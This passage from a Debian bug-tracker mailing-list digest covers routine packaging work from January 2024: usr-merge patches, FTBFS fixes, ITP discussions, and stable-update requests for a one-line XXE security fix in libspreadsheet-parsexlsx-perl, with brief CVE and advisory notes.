rename/split/move its binaries (packages) during trixie, please
then upload to experimental and get in touch with the UsrMerge
driver, please see the wiki [1].

Michael

[1] https://wiki.debian.org/UsrMerge
diff -Nru fscrypt-0.3.4/debian/changelog fscrypt-0.3.4/debian/changelog
--- fscrypt-0.3.4/debian/changelog  2024-01-08 22:57:36.0 +0100
+++ fscrypt-0.3.4/debian/changelog  2024-01-26 21:30:27.0 +0100
@@ -1,3 +1,10 @@
+fscrypt (0.3.4-1.1) UNRELEASED; urgency=medium
+
+  * Non-maintainer upload.
+  * Install PAM modules into /usr. (Closes: #-1)
+
+ -- Michael Biebl   Fri, 26 Jan 2024 21:30:27 +0100
+
 fscrypt (0.3.4-1) unstable; urgency=medium
 
   [ Debian Janitor ]
diff -Nru fscrypt-0.3.4/debian/libpam-fscrypt.install 
fscrypt-0.3.4/debian/libpam-fscrypt.install
--- fscrypt-0.3.4/debian/libpam-fscrypt.install 2024-01-08 22:12:30.0 
+0100
+++ fscrypt-0.3.4/debian/libpam-fscrypt.install 2024-01-26 21:30:05.0 
+0100
@@ -1,3 +1,3 @@
 #!/usr/bin/dh-exec
 
-obj-*/pkg/*/github.com/google/fscrypt/pam_fscrypt.so 
lib/${DEB_HOST_MULTIARCH}/security/
+obj-*/pkg/*/github.com/google/fscrypt/pam_fscrypt.so 
usr/lib/${DEB_HOST_MULTIARCH}/security/

Bug#1061576: stringtie: "possible missing binaries"

[Nilesh Patra]

Hi,

> Package: stringtie
>
> I wish to access prepDE.py and/or prepDE.py3 binaries

Are these actually useful for end-users (which also includes you)?

If so, I will make a new upload to include these scripts as well.

Let me know.

Best,
Nilesh


signature.asc
Description: PGP signature

Bug#1061558: compton: Recommends 'picom', another X11 compositor.

[Phil Wyett]

Control: tags -1 + bullseye bookworm

Also affects bullseye. Adding tags.

Regards

Phil

-- 
Playing the game for the games sake.

Web:

* Debian Wiki: https://wiki.debian.org/PhilWyett
* Website: https://kathenas.org
* Social Debian: https://pleroma.debian.social/kathenas/
* Social Instagram: https://www.instagram.com/kathenasorg/




signature.asc
Description: This is a digitally signed message part

Bug#1050540: NMU: Bug#1050540: luabind: Downgrade to lua5.1

[Bastian Germann]

I am uploading the already sent debdiff as LowNMU to DELAYED/10.

Bug#1059817: #1059817 fixed in experimental

[Chris Hofstaedtler]

Hi,

please upload the fix for #1059817 also to unstable.

Thanks,
Chris

Bug#1061580: fprintd: install PAM module and systemd units into /usr

[Michael Biebl]

Source: fprintd
Version: 1.94.2-3
Severity: normal
Tags: patch
User: helm...@debian.org
Usertags: dep17m2

We want to finalize the /usr-merge via DEP17 by moving all files to
/usr. fprintd installs files into /lib these should be moved
into the respective canonical locations in /usr/.

Please find a patch attached. It has been build-tested.

Note: this should not be backported to bookworm. If you intend to
backport, please use dh_movetousr instead.

If your package will change for the t64 transition or otherwise
rename/split/move its binaries (packages) during trixie, please
then upload to experimental and get in touch with the UsrMerge
driver, please see the wiki [1].

Michael

[1] https://wiki.debian.org/UsrMerge
diff -Nru fprintd-1.94.2/debian/changelog fprintd-1.94.2/debian/changelog
--- fprintd-1.94.2/debian/changelog 2023-12-23 04:28:38.0 +0100
+++ fprintd-1.94.2/debian/changelog 2024-01-26 21:15:56.0 +0100
@@ -1,3 +1,10 @@
+fprintd (1.94.2-3.1) UNRELEASED; urgency=medium
+
+  * Non-maintainer upload.
+  * Install PAM module and systemd units into /usr. (Closes: #-1)
+
+ -- Michael Biebl   Fri, 26 Jan 2024 21:15:56 +0100
+
 fprintd (1.94.2-3) unstable; urgency=medium
 
   * debian/control: depend on polkitd instead of policykit-1
diff -Nru fprintd-1.94.2/debian/fprintd.install 
fprintd-1.94.2/debian/fprintd.install
--- fprintd-1.94.2/debian/fprintd.install   2023-12-23 04:28:38.0 
+0100
+++ fprintd-1.94.2/debian/fprintd.install   2024-01-26 21:12:33.0 
+0100
@@ -1,7 +1,7 @@
 #!/usr/bin/dh-exec
 
 etc/fprintd.conf
-[linux-any] lib/systemd/system/fprintd.service
+[linux-any] usr/lib/systemd/system/fprintd.service
 usr/bin/fprintd-delete
 usr/bin/fprintd-enroll
 usr/bin/fprintd-list
diff -Nru fprintd-1.94.2/debian/libpam-fprintd.install 
fprintd-1.94.2/debian/libpam-fprintd.install
--- fprintd-1.94.2/debian/libpam-fprintd.install2023-12-23 
04:28:38.0 +0100
+++ fprintd-1.94.2/debian/libpam-fprintd.install2024-01-26 
21:12:18.0 +0100
@@ -1,3 +1,3 @@
 debian/pam-configs/* usr/share/pam-configs/
-lib/*/security/pam_fprintd.so
+usr/lib/*/security/pam_fprintd.so
 usr/share/man/man8/pam_fprintd.8
diff -Nru fprintd-1.94.2/debian/rules fprintd-1.94.2/debian/rules
--- fprintd-1.94.2/debian/rules 2023-12-23 04:28:38.0 +0100
+++ fprintd-1.94.2/debian/rules 2024-01-26 21:15:54.0 +0100
@@ -1,16 +1,16 @@
 #!/usr/bin/make -f
 
-DEB_HOST_ARCH ?= $(shell dpkg-architecture -qDEB_HOST_ARCH)
+include /usr/share/dpkg/default.mk
 
 %:
dh $@
 
 # Configuration arguments
-CONFIG_ARGS = -Dpam=true
+CONFIG_ARGS = -Dpam=true 
-Dpam_modules_dir=/usr/lib/$(DEB_HOST_MULTIARCH)/security
 BUILDDIR = $(CURDIR)/obj-$(DEB_HOST_GNU_TYPE)
 
 ifeq ($(DEB_HOST_ARCH_OS),linux)
-   CONFIG_ARGS += -Dsystemd_system_unit_dir=/lib/systemd/system
+   CONFIG_ARGS += -Dsystemd_system_unit_dir=/usr/lib/systemd/system
 else
CONFIG_ARGS += -Dsystemd=false
 endif

Bug#1061579: bookworm-pu: package libspreadsheet-parsexlsx-perl/0.27-3+deb12u2

[gregor herrmann]

On Fri, 26 Jan 2024 20:53:01 +0100, gregor herrmann wrote:

> I've uploaded libspreadsheet-parsexlsx-perl/0.27-3+deb12u2 to
> bookworm to fix a non-DSA security bug: CVE-2024-22368 / #1061098 (XEE
> injection vulnerability).

Sorry, wrong CVE number, d/changelog and the patch correctly mention
CVE-2024-23525. 

Cheers,
gregor

-- 
 .''`.  https://info.comodo.priv.at -- Debian Developer https://www.debian.org
 : :' : OpenPGP fingerprint D1E1 316E 93A7 60A8 104D  85FA BB3A 6801 8649 AA06
 `. `'  Member VIBE!AT & SPI Inc. -- Supporter Free Software Foundation Europe
   `-   


signature.asc
Description: Digital Signature

Bug#1061578: bullseye-pu: package libspreadsheet-parsexlsx-perl/0.27-2.1+deb11u2

[gregor herrmann]

On Fri, 26 Jan 2024 20:52:59 +0100, gregor herrmann wrote:

> I've uploaded libspreadsheet-parsexlsx-perl/0.27-2.1+deb11u2 to
> bullseye to fix a non-DSA security bug: CVE-2024-22368 / #1061098 (XEE
> injection vulnerability).

Sorry, wrong CVE number, d/changelog and the patch correctly mention
CVE-2024-23525.

Cheers,
gregor

-- 
 .''`.  https://info.comodo.priv.at -- Debian Developer https://www.debian.org
 : :' : OpenPGP fingerprint D1E1 316E 93A7 60A8 104D  85FA BB3A 6801 8649 AA06
 `. `'  Member VIBE!AT & SPI Inc. -- Supporter Free Software Foundation Europe
   `-   


signature.asc
Description: Digital Signature

Bug#1061579: bookworm-pu: package libspreadsheet-parsexlsx-perl/0.27-3+deb12u2

[gregor herrmann]

Package: release.debian.org
Severity: normal
Tags: bookworm
User: release.debian@packages.debian.org
Usertags: pu
X-Debbugs-Cc: libspreadsheet-parsexlsx-p...@packages.debian.org
Control: affects -1 + src:libspreadsheet-parsexlsx-perl

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

I've uploaded libspreadsheet-parsexlsx-perl/0.27-3+deb12u2 to
bookworm to fix a non-DSA security bug: CVE-2024-22368 / #1061098 (XEE
injection vulnerability).

The patch is just one line [0] and is taken from upstream Git / upstream
release 0.30. The fix is included in trixie and sid in 0.31-1 since a
couple of days.

Full debdiff against -deb12u1 in proposed-updates attached.


Thanks in advance,
gregor


[0]
+--- a/lib/Spreadsheet/ParseXLSX.pm
 b/lib/Spreadsheet/ParseXLSX.pm
+@@ -1107,6 +1107,7 @@
+ 
'http://schemas.openxmlformats.org/officeDocument/2006/relationships' => 'rels',
+ 'http://schemas.openxmlformats.org/drawingml/2006/main' => 
'drawmain',
+ },
++no_xxe => 1,
+ keep_original_prefix => 1,
+ %opts,
+ );

-BEGIN PGP SIGNATURE-

iQKTBAEBCgB9FiEE0eExbpOnYKgQTYX6uzpoAYZJqgYFAmW0DZ1fFIAALgAo
aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldEQx
RTEzMTZFOTNBNzYwQTgxMDREODVGQUJCM0E2ODAxODY0OUFBMDYACgkQuzpoAYZJ
qgYnrRAAt7GtL179slaqAf2G1bah9oAgwN6eEpMkl8KgNeo6psR+MiZKVhYh8NL2
qk/pmwQlrqfFIEpVVzXbTUxIeropvjqvo2nXrqQdth+BN4itB7bwzp665QQ34bAu
EJrcNzt3DbOf9mS+2xuYXVTMxQQnv/oskZrq3I0l+iA+BLm1InJdNJshCYYHeWMG
QWq0WlBkQQ9cx51D8EWPwytmDSLjNniURyi5rb+B+73LeavejIJnWBxcfIldh7YU
HUVUfbnjf7iXvOU2KmsLLXdW/yYFHQAFjhY/AYhXoZcs7n6A2D/CgMhz5ADumOE0
y/5AL9AZ+NEGZyPKkjJPdzNdwCmnRR9V7qm6aV3M0x0IE3CSEGXzvpjJp5lmKdj4
OyXYKu1/DoFPnpTmZs2bmfoHnHYzpQsTwr1fzw5dIirPTgoLFf7Cw9BOc4jBn2Ln
0VU77FawxPGv9oZe8DCYSbk//KeO+efn9J9G/ISXDGQEVMYKgxw7neLirqARypSl
RRrIKbyJS+YTz3dxs+mo9rz53NnoOiUu68wLA07QgUtKKz+U230c/aDI0HUQLAio
ItlGinQ1yhAsGyIkfuMBpfUfn3wcVfk5lapIu6855mVo4YBSEMhIz50GcsuSeK8t
1frXdy5bm4Df2PXVsAk5SuNGfbaWt2zs0t2AxLnN45+OTBPvCBE=
=hMLL
-END PGP SIGNATURE-
diff -Nru libspreadsheet-parsexlsx-perl-0.27/debian/changelog 
libspreadsheet-parsexlsx-perl-0.27/debian/changelog
--- libspreadsheet-parsexlsx-perl-0.27/debian/changelog 2024-01-12 
21:25:50.0 +0100
+++ libspreadsheet-parsexlsx-perl-0.27/debian/changelog 2024-01-26 
20:37:26.0 +0100
@@ -1,3 +1,13 @@
+libspreadsheet-parsexlsx-perl (0.27-3+deb12u2) bookworm; urgency=medium
+
+  * Team upload.
+  * Add a patch to fix an xml external entity (XEE) injection bug.
+[CVE-2024-23525]
+Patch taken from an upstream Git commit contained in the 0.30 release.
+(Closes: #1061098)
+
+ -- gregor herrmann   Fri, 26 Jan 2024 20:37:26 +0100
+
 libspreadsheet-parsexlsx-perl (0.27-3+deb12u1) bookworm; urgency=medium
 
   * Team upload.
diff -Nru 
libspreadsheet-parsexlsx-perl-0.27/debian/patches/CVE-2024-23525.patch 
libspreadsheet-parsexlsx-perl-0.27/debian/patches/CVE-2024-23525.patch
--- libspreadsheet-parsexlsx-perl-0.27/debian/patches/CVE-2024-23525.patch  
1970-01-01 01:00:00.0 +0100
+++ libspreadsheet-parsexlsx-perl-0.27/debian/patches/CVE-2024-23525.patch  
2024-01-26 20:37:26.0 +0100
@@ -0,0 +1,25 @@
+Description: Fix xml external entity (XEE) injection bug CVE-2024-23525
+Origin: upstream, commit 1d55f90, as released in 0.30
+Reviewed-by: gregor herrmann 
+Last-Update: 2024-01-26
+Bug-Debian: https://bugs.debian.org/1061098
+Bug: https://github.com/MichaelDaum/spreadsheet-parsexlsx/issues/10
+
+From 1d55f90caf433c7442e5be21a1849af2b5522ffe Mon Sep 17 00:00:00 2001
+From: Michael Daum 
+Date: Wed, 17 Jan 2024 12:31:20 +0100
+Subject: [PATCH] Fixed xml external entity (XEE) injection bug
+
+reported by @phvietan, fixes issue #10
+
+
+--- a/lib/Spreadsheet/ParseXLSX.pm
 b/lib/Spreadsheet/ParseXLSX.pm
+@@ -1107,6 +1107,7 @@
+ 
'http://schemas.openxmlformats.org/officeDocument/2006/relationships' => 'rels',
+ 'http://schemas.openxmlformats.org/drawingml/2006/main' => 
'drawmain',
+ },
++no_xxe => 1,
+ keep_original_prefix => 1,
+ %opts,
+ );
diff -Nru libspreadsheet-parsexlsx-perl-0.27/debian/patches/series 
libspreadsheet-parsexlsx-perl-0.27/debian/patches/series
--- libspreadsheet-parsexlsx-perl-0.27/debian/patches/series2024-01-12 
21:25:50.0 +0100
+++ libspreadsheet-parsexlsx-perl-0.27/debian/patches/series2024-01-26 
20:37:26.0 +0100
@@ -1,2 +1,3 @@
 001_fix-NAME-section-in-pod.patch
 CVE-2024-22368.patch
+CVE-2024-23525.patch

Bug#1061578: bullseye-pu: package libspreadsheet-parsexlsx-perl/0.27-2.1+deb11u2

[gregor herrmann]

Package: release.debian.org
Severity: normal
Tags: bullseye
User: release.debian@packages.debian.org
Usertags: pu
X-Debbugs-Cc: libspreadsheet-parsexlsx-p...@packages.debian.org
Control: affects -1 + src:libspreadsheet-parsexlsx-perl

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

I've uploaded libspreadsheet-parsexlsx-perl/0.27-2.1+deb11u2 to
bullseye to fix a non-DSA security bug: CVE-2024-22368 / #1061098 (XEE
injection vulnerability).

The patch is just one line [0] and is taken from upstream Git / upstream
release 0.30. The fix is included in trixie and sid in 0.31-1 since a
couple of days.

Full debdiff against -deb11u1 in oldstable-proposed-updates attached.


Thanks in advance,
gregor


[0]
+--- a/lib/Spreadsheet/ParseXLSX.pm
 b/lib/Spreadsheet/ParseXLSX.pm
+@@ -1107,6 +1107,7 @@
+ 
'http://schemas.openxmlformats.org/officeDocument/2006/relationships' => 'rels',
+ 'http://schemas.openxmlformats.org/drawingml/2006/main' => 
'drawmain',
+ },
++no_xxe => 1,
+ keep_original_prefix => 1,
+ %opts,
+ );

-BEGIN PGP SIGNATURE-

iQKTBAEBCgB9FiEE0eExbpOnYKgQTYX6uzpoAYZJqgYFAmW0DZtfFIAALgAo
aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldEQx
RTEzMTZFOTNBNzYwQTgxMDREODVGQUJCM0E2ODAxODY0OUFBMDYACgkQuzpoAYZJ
qgapXxAAwg0HlPsrKMe+Bwrcu2qGEDcCH8V9pUgn0EwdYd+qNTt1FFlLZr4nVCHH
XxfkTr1gD7ed8lwfGq9Xjv+hvktvzT5VMlxqw+UjGcGjcBA6Y3cTgSLm8mKFkVpt
5g8vhDPnovHjctK6smA4vPe/n+VNvFj7RtIzZ3/MKC+WGeC+nxg7s2dMGpsQFWXU
7AaJ9JBWWPrcNYblXYsgjtgmJk0e/HB2ol17nga2YLT6MQW4St2qlrNzAIxJfB0t
sHni1ZF7qyX7Y8L+aDniS2H/cJZ7NEXPor1Dr0ukIY5L27d/+0J4vbDB2xqKTQg1
gkoN8YHUkhXbV/BhRlkaaHucRn0ZUn/4G8WH/Jb1h3LJmkMo7X9U08C11Q3hATM2
d4DnQqUvENjJnYyGNX1L7NoX3Qt5Z8BeIeM0wknFtp19r7h4S44TelkcsIQs8KJB
RM82AwImz7QCaT065MR/5OI/yJXAoT5Glb/k99bSYXThNqC3bGfqmHSOQoYkqwvR
m87NUc6sriWVgz90jfnmwC81/Hy3euoqOMjovT/DnaK+D9e44gmRwBELYEc8Mqhr
aw0j5QiN13fOFiiC7L8kzGyEVmeeNR7gwDabVfOZeM2RY8PHbqMyKT5VPzSqZuc8
q/998F3rsaYKKUZLabuJTyDgJKITUbOvgxLS+APFEZArzCmP6go=
=qFLM
-END PGP SIGNATURE-
diff -Nru libspreadsheet-parsexlsx-perl-0.27/debian/changelog 
libspreadsheet-parsexlsx-perl-0.27/debian/changelog
--- libspreadsheet-parsexlsx-perl-0.27/debian/changelog 2024-01-12 
21:21:42.0 +0100
+++ libspreadsheet-parsexlsx-perl-0.27/debian/changelog 2024-01-26 
20:34:16.0 +0100
@@ -1,3 +1,13 @@
+libspreadsheet-parsexlsx-perl (0.27-2.1+deb11u2) bullseye; urgency=medium
+
+  * Team upload.
+  * Add a patch to fix an xml external entity (XEE) injection bug.
+[CVE-2024-23525]
+Patch taken from an upstream Git commit contained in the 0.30 release.
+(Closes: #1061098)
+
+ -- gregor herrmann   Fri, 26 Jan 2024 20:34:16 +0100
+
 libspreadsheet-parsexlsx-perl (0.27-2.1+deb11u1) bullseye; urgency=medium
 
   * Team upload.
diff -Nru 
libspreadsheet-parsexlsx-perl-0.27/debian/patches/CVE-2024-23525.patch 
libspreadsheet-parsexlsx-perl-0.27/debian/patches/CVE-2024-23525.patch
--- libspreadsheet-parsexlsx-perl-0.27/debian/patches/CVE-2024-23525.patch  
1970-01-01 01:00:00.0 +0100
+++ libspreadsheet-parsexlsx-perl-0.27/debian/patches/CVE-2024-23525.patch  
2024-01-26 20:34:16.0 +0100
@@ -0,0 +1,25 @@
+Description: Fix xml external entity (XEE) injection bug CVE-2024-23525
+Origin: upstream, commit 1d55f90, as released in 0.30
+Reviewed-by: gregor herrmann 
+Last-Update: 2024-01-26
+Bug-Debian: https://bugs.debian.org/1061098
+Bug: https://github.com/MichaelDaum/spreadsheet-parsexlsx/issues/10
+
+From 1d55f90caf433c7442e5be21a1849af2b5522ffe Mon Sep 17 00:00:00 2001
+From: Michael Daum 
+Date: Wed, 17 Jan 2024 12:31:20 +0100
+Subject: [PATCH] Fixed xml external entity (XEE) injection bug
+
+reported by @phvietan, fixes issue #10
+
+
+--- a/lib/Spreadsheet/ParseXLSX.pm
 b/lib/Spreadsheet/ParseXLSX.pm
+@@ -1107,6 +1107,7 @@
+ 
'http://schemas.openxmlformats.org/officeDocument/2006/relationships' => 'rels',
+ 'http://schemas.openxmlformats.org/drawingml/2006/main' => 
'drawmain',
+ },
++no_xxe => 1,
+ keep_original_prefix => 1,
+ %opts,
+ );
diff -Nru libspreadsheet-parsexlsx-perl-0.27/debian/patches/series 
libspreadsheet-parsexlsx-perl-0.27/debian/patches/series
--- libspreadsheet-parsexlsx-perl-0.27/debian/patches/series2024-01-12 
21:21:42.0 +0100
+++ libspreadsheet-parsexlsx-perl-0.27/debian/patches/series2024-01-26 
20:34:16.0 +0100
@@ -1,2 +1,3 @@
 001_fix-NAME-section-in-pod.patch
 CVE-2024-22368.patch
+CVE-2024-23525.patch

Bug#1061543: indent: CVE-2024-0911

[Santiago Vila]

severity 1061543 important
found 1061543 2.2.12-1
found 1061543 2.2.12-4+deb12u2
thanks

El 26/1/24 a las 8:52, Moritz Mühlenhoff escribió:

Source: indent
X-Debbugs-CC: t...@security.debian.org
Severity: normal
Tags: security

Hi,

This was assigned CVE-2024-0911:
https://lists.gnu.org/archive/html/bug-indent/2024-01/msg1.html

If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

[...]

Thanks for the report.

I've just applied the (code part of the) patch for unstable.

Can you confirm that proposed-updates is good enough to fix this in stable?
(i.e. no DSA, like other recent previous indent CVEs).

Thanks.

Bug#1060932: marked as done (doublecmd: FTBFS: make[1]: *** [debian/rules:16: override_dh_install] Error 2)

[Abou Al Montacir]

Control: reassign -1 lazarus
Control: fixed -1 3.0+dfsg1-6

This issue was caused by a Lazrus bug and is now fixed.
-- 
Cheers,
Abou Al Montacir


signature.asc
Description: This is a digitally signed message part

Bug#1060995: marked as done (ddrescueview: FTBFS: make[1]: *** [debian/rules:10: override_dh_auto_build] Error 2)

[Abou Al Montacir]

Control: reassign -1 lazarus
Control: fixed -1 3.0+dfsg1-6

This issue was caused by a Lazrus bug and is now fixed.
-- 
Cheers,
Abou Al Montacir


signature.asc
Description: This is a digitally signed message part

Bug#1061009: marked as done (winff: FTBFS: make[1]: *** [debian/rules:16: override_dh_auto_build-arch] Error 2)

[Abou Al Montacir]

Control: reassign -1 lazarus
Control: fixed -1 3.0+dfsg1-6

This issue was caused by a Lazrus bug and is now fixed.
-- 
Cheers,
Abou Al Montacir


signature.asc
Description: This is a digitally signed message part

Bug#1061370: gcc-14 ftbfs on armel

[Matthias Klose]

On 24.01.24 09:58, Emanuele Rocca wrote:

Hi Matthias,

On 2024-01-23 09:01, Matthias Klose wrote:

This is a long standing, re-occurring issue which never has been
forwarded and committed by the armel ports to GCC upstream.


You seem to be aware of previous occurrences of this issue. Please share
the details you have available such as bug numbers, commits, and so
forth.

More in general though there have been several important issues with
armel lately, not least the fact that there is very little hardware
still supported by the kernel (essentially just the Raspberry Pi Zero
and 1 AIUI [0]). It seems to me that the time has come to seriously
consider whether supporting armel as an official port still makes sense.

[0] 
https://salsa.debian.org/kernel-team/linux/-/commit/b53e2d881063b060934bee3da9378da3b5b5387b



disabled ada, now ftbs with go.

if you care about the Pi Zero, then please get involved upstream. 
Listening to ARM guys, armv5t doesn't seem to raise any interest these days.


Also having LLVM build failures, still targeting armv4t didn't raise any 
attention to the Debian armel porters.


So let's just say there is no man power to address issues, and probably 
also lack of interest.


Matthias

Bug#1061525: does not boot from multi-device root filesystems

[Steinar H. Gunderson]

On Thu, Jan 25, 2024 at 10:44:04PM +0100, Steinar H. Gunderson wrote:
>  - The GRUB command line must be rw, not ro; mounting with -o remount,rw
>gives: “bcachefs: bch2_parse_mount_opts() Invalid mount option errors:
>invalid selection”. I don't know if this is an upstream issue or if
>this is just considered a bug in our setup.

This is evidently due to “errors=remount-ro” in fstab; removing that fixes
it. But it's probably an upstream bug, since supposedly that's a valid
option.

/* Steinar */
-- 
Homepage: https://www.sesse.net/

Bug#1059860: ITP: golang-github-quic-go-quic-go -- A QUIC implementation in pure go

[Nilesh Patra]

On Tue, Jan 02, 2024 at 03:24:29PM +0100, Félix Sipma wrote:
> Package: wnpp
> Severity: wishlist
> Owner: Félix Sipma 
> 
> * Package name: golang-github-quic-go-quic-go
>   Version : 0.40.0-1
>   Upstream Author : 
> * URL : https://github.com/quic-go/quic-go
> * License : Expat
>   Programming Lang: Go
>   Description : A QUIC implementation in pure go
> 
>  A QUIC implementation in pure Go
> 
> 
> Needed by newer versions of Syncthing.

There's already golang-github-lucas-clemente-quic-go-dev which seems to have
been renamed to quic-go/quic-go. Maybe this could add a provides to the new
package?

Best,
Nilesh


signature.asc
Description: PGP signature

Bug#1061577: rust-rio: use-after-free buffer access when a future is leaked

[Alexander Kjäll]

Source: rust-rio
Severity: important
X-Debbugs-Cc: alexander.kj...@gmail.com

Dear Maintainer,

https://rustsec.org/advisories/RUSTSEC-2020-0021.html

Description

When a rio::Completion is leaked, its drop code will not run.
The drop code is responsible for waiting until the kernel
completes the I/O operation into, or out of, the buffer
borrowed by rio::Completion. Leaking the struct will allow one
to access and/or drop the buffer, which can lead to a
use-after-free, data races or leaking secrets.


-- System Information:
Debian Release: trixie/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (500, 'testing')
Architecture: amd64 (x86_64)

Kernel: Linux 6.6.11-amd64 (SMP w/8 CPU threads; PREEMPT)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Bug#1061568: ITP: source-map-js -- Generates and consumes source maps

[Nilesh Patra]

Hey,

On Fri, Jan 26, 2024 at 10:07:58PM +0530, Kalyani Kenekar wrote:
> Package: wnpp  
> Severity: wishlist
> Owner: Kalyani Kenekar 
> X-Debbugs-Cc: debian-de...@lists.debian.org
> 
> * Package name: source-map-js
>   Version : 1.0.2
>   Upstream Author : Valentin Semirulnik 
> * URL : https://github.com/7rulnik/source-map-js
> * License : BSD-3clause 
>   Programming Lang: Javascript
>   Description : Generates and consumes source maps
> 
> The source-map-js package is a fork of source-map which includes some
> additional optimizations.

This is already provided by node-postcss

| $ apt show node-postcss 2>/dev/null | grep Provides
| Provides: node-colorette (= 2.0.20), node-line-column (= 1.0.2), node-nanoid 
(= 4.0.2), node-source-map-js (= 1.0.2)

Best,
Nilesh


signature.asc
Description: PGP signature

Bug#1061576: stringtie: "possible missing binaries"

[Aaron_Dickey]

Package: stringtie
Severity: important
X-Debbugs-Cc: aaron.dic...@usda.gov

Dear Maintainer,

I wish to access prepDE.py and/or prepDE.py3 binaries
#This 'from source' works as expected on debian:latest
apt -y -qq update & apt -y -qq install wget && cd /usr/bin && wget \
https://github.com/gpertea/stringtie/releases/download/v2.2.1/stringtie-2.2.1.Linux_x86_64.tar.gz
 && tar \
-xvzf stringtie-2.2.1.Linux_x86_64.tar.gz && export 
PATH="$PATH:/usr/bin/stringtie-2.2.1.Linux_x86_64"
which prepDE.py; which prepDE.py3; which run_tests.sh; which stringtie
#This doesn't
rm -r stringtie-2.2.1.Linux_x86_64.tar.gz stringtie-2.2.1.Linux_x86_64 && apt 
install -y -qq stringtie; which \
prepDE.py; which prepDE.py3; which run_tests.sh; which stringtie

-- System Information:
Debian Release: bookworm/sid
  APT prefers jammy-updates
  APT policy: (500, 'jammy-updates'), (500, 'jammy-security'), (500, 'jammy'), 
(100, 'jammy-backports')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.15.0-92-generic (SMP w/4 CPU threads)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages stringtie depends on:
ii  libc6   2.35-0ubuntu3.6
ii  libgcc-s1   12.3.0-1ubuntu1~22.04
pn  libhts3 
ii  libstdc++6  12.3.0-1ubuntu1~22.04

Versions of packages stringtie recommends:
pn  stringtie-examples  

Versions of packages stringtie suggests:
pn  cufflinks  

Bug#1061575: php-codeigniter-framework: FTBFS with python 3.12

[Athos Ribeiro]

Source: php-codeigniter-framework
Version: 3.1.13+dfsg1-2
Severity: normal
Tags: patch
X-Debbugs-Cc: athos.ribe...@canonical.com

Dear Maintainer,

This package FTBFS with python 3.12.

$ python setup.py install

is no longer supported.

I am attaching a fix proposal that should get the package to build for
python 3.12.
diff --git a/debian/control b/debian/control
index b9c279c68..8499e3f6f 100644
--- a/debian/control
+++ b/debian/control
@@ -13,6 +13,7 @@ Build-Depends: debhelper-compat (= 13),
python3-sphinx-rtd-theme ,
python3-sphinxcontrib.phpdomain ,
python3-venv ,
+   python3-pip ,
 Standards-Version: 4.6.2
 Rules-Requires-Root: binary-targets
 Homepage: https://codeigniter.com/
diff --git a/debian/rules b/debian/rules
index c6c683cca..4fef1a889 100755
--- a/debian/rules
+++ b/debian/rules
@@ -11,13 +11,13 @@ override_dh_auto_test:
 
 debian/build-doc/pythonvenv/bin/python:
mkdir -p debian/build-doc/pythonvenv
-   python3 -m venv --system-site-packages debian/build-doc/pythonvenv
+   python3 -m venv --system-site-packages --without-pip 
debian/build-doc/pythonvenv
 
 pycilexer: debian/build-doc/pythonvenv/bin/python
-   if ! debian/build-doc/pythonvenv/bin/pip show pycilexer; then \
+   if ! debian/build-doc/pythonvenv/bin/python -m pip show pycilexer; then 
\
  echo "Installing pycilexer" && \
  cd user_guide_src/cilexer && \
- ../../debian/build-doc/pythonvenv/bin/python setup.py install ; \
+ ../../debian/build-doc/pythonvenv/bin/python -m pip install .; \
fi
 
 ifeq ($(filter nodoc,$(DEB_BUILD_OPTIONS) $(DEB_BUILD_PROFILES)),)
@@ -25,12 +25,12 @@ execute_before_dh_installdocs: pycilexer
make -C user_guide_src clean
 
make -C user_guide_src html \
-SPHINXBUILD=../debian/build-doc/pythonvenv/bin/sphinx-build \
+SPHINXBUILD=/usr/bin/sphinx-build \
 BUILDDIR=../debian/build-doc/user_guide \
 SPHINXOPTS="-D version=$(DEB_VERSION_UPSTREAM) -D 
release=$(DEB_VERSION_UPSTREAM)"
 
make -C user_guide_src text \
- SPHINXBUILD=../debian/build-doc/pythonvenv/bin/sphinx-build \
+ SPHINXBUILD=/usr/bin/sphinx-build \
  BUILDDIR=../debian/build-doc/user_guide \
  SPHINXOPTS="-D version=$(DEB_VERSION_UPSTREAM) -D 
release=$(DEB_VERSION_UPSTREAM)"
 endif

Bug#1061558: compton: Recommends 'picom', another X11 compositor.

[Phil Wyett]

Control: severity -1 important

Raise for 'pu' criteria.

Regards

Phil

-- 
Playing the game for the games sake.

Web:

* Debian Wiki: https://wiki.debian.org/PhilWyett
* Website: https://kathenas.org
* Social Debian: https://pleroma.debian.social/kathenas/
* Social Instagram: https://www.instagram.com/kathenasorg/




signature.asc
Description: This is a digitally signed message part

Bug#1061574: php-codeigniter-framework: FTBFS with php8.3

[Athos Ribeiro]

Source: php-codeigniter-framework
Version: 3.1.13+dfsg1-2
Severity: normal
Tags: patch
X-Debbugs-Cc: athos.ribe...@canonical.com

Dear Maintainer,

This package currently FTBFS with php8.3 (in experimental).

A fix is available in codeigniter4 at
https://github.com/codeigniter4/CodeIgniter4/commit/a412fff274947b14d341e59d593d8ebd9cb8d26e

I am attaching a backport of that patch here to provide a fix for v3.
>From a412fff274947b14d341e59d593d8ebd9cb8d26e Mon Sep 17 00:00:00 2001
From: kenjis 
Date: Fri, 8 Sep 2023 10:37:07 +0900
Subject: [PATCH] test: update expectation for highlight code in PHP 8.3

Origin: backport, 
https://github.com/codeigniter4/CodeIgniter4/commit/a412fff274947b14d341e59d593d8ebd9cb8d26e
---
 tests/system/Helpers/TextHelperTest.php |  9 -
 tests/system/View/ParserFilterTest.php  | 16 
 2 files changed, 24 insertions(+), 1 deletion(-)

--- a/tests/codeigniter/helpers/text_helper_test.php
+++ b/tests/codeigniter/helpers/text_helper_test.php
@@ -101,7 +101,14 @@
 
public function test_highlight_code()
{
